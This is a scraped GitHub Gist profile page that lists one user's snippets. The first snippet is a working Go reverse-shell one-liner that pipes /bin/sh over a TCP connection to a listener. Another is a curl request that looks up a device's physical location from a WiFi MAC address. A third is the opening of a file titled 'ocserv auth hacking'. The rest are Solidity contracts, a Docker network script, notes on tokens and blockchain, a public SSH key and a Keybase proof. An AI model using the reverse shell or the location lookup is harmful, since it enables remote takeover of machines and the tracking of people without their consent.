Skip to content

Instantly share code, notes, and snippets.

View furusiyya's full-sized avatar

Bilal furusiyya

View GitHub Profile
@furusiyya
furusiyya / shell.go
Last active September 9, 2020 00:04 — forked from takeshixx/shell.go
TCP reverse shell | Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go
@furusiyya
furusiyya / getAndroidLocation.sh
Created January 12, 2017 22:32
Get location of android user on basis of MAC address
sudo curl -i -s -k -X 'POST' -H 'User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.0.1; Nexus 5 Build/LRX22C)' -H 'Content-Type: application/x-www-form-urlencoded' \
'http://mobile.maps.yandex.net/cellid_location/?clid=1866854&lac=-1&cellid=-1&operatorid=null&countrycode=null&signalstrength=-1&wifinetworks=000000000000:-65&app=ymetro'
@furusiyya
furusiyya / ocserv_hack.go
Last active January 18, 2020 13:22 — forked from horsley/ocserv_hack.go
ocserv auth hacking
// ocservFront project main.go
package main
import (
"bufio"
"bytes"
"crypto/tls"
"fmt"
"io"
"io/ioutil"
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
@furusiyya
furusiyya / configure_docker0.sh
Created April 12, 2017 11:23 — forked from kamermans/configure_docker0.sh
Change the IP subnet of Docker's docker0 interface
#!/bin/sh -e
#
# You can run this script directly from github as root like this:
# curl -sS https://gist.githubusercontent.com/kamermans/94b1c41086de0204750b/raw/configure_docker0.sh | sudo bash -s - 192.168.254.1/24
#
# * Make sure you replace "192.168.254.0/24" with the network that you want to use
#
# NOTE: This script is intended for Debian / Ubuntu only!
if [ $# -lt 1 ]; then
@furusiyya
furusiyya / BlockchainResources.md
Last active August 17, 2018 17:26
Collection of blockchain learning resources I used for getting started. Feel free to add yours :)
/**
* MultiSig.sol v1.0.0
*
* Bilal Arif - https://twitter.com/furusiyya_
* Block360
*/
pragma solidity 0.4.18;
@furusiyya
furusiyya / id_rsa.pub
Last active April 16, 2018 14:18
ssh rsa public key
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg79655A0KOegZ1ohn7IcvkIYFJj4TbWPAHhZivBDbZdVTfI7fSzO32uP0XsibrxNv5054XVEUPYcm8TXIlH9clqippnyjdWM9vAXCfrB7xE7poQ9rz4e7rdIPcU/lMtI4N0iOL3lyawkzHsSHPLAozIr+fHua5Vg+dud1JeUers2EG+kxAnPPK6iPV1vqgIWKoL5nTogLu7iCDoCqY6MIWdz7CSzv9uoyYqqqrVN8sj0wfwJEIsmkR1ep0wlNtMajx2CoA4PvfDsa5ReVTop2vELcoHrrGu0EkbK+4UmcUmvMdCPLAs3SvF5r8k201eTxPw5NIAc5pi5mHAkQBX+H fsociety@fsociety
@furusiyya
furusiyya / Custom token contract
Created May 7, 2017 21:27
Created a custom token then transfer to other accounts
contractAddress = '0x18ed614ab06285ca9d294e96e5144eefe1160e6d'
Methods available in contract:
1 - balanceOf(account address)
2 - transfer(account address, amount)
In order to use json rpc we need to find the hash of the invoked method signature and encoded parameters
- Hash of method 1:
> gold.balanceOf.getData(eth.coinbase) //Return balance of contract base account
'0x70a08231000000000000000000000000e8a67c0b7e1bc9929dc5bc7aee4ff245745908c8'

Keybase proof

I hereby claim:

  • I am furusiyya on github.
  • I am furusiyya (https://keybase.io/furusiyya) on keybase.
  • I have a public key whose fingerprint is 120E 08FA 2522 9838 9035 9A42 B0DA 2375 423B F62D

To claim this, I am signing this object: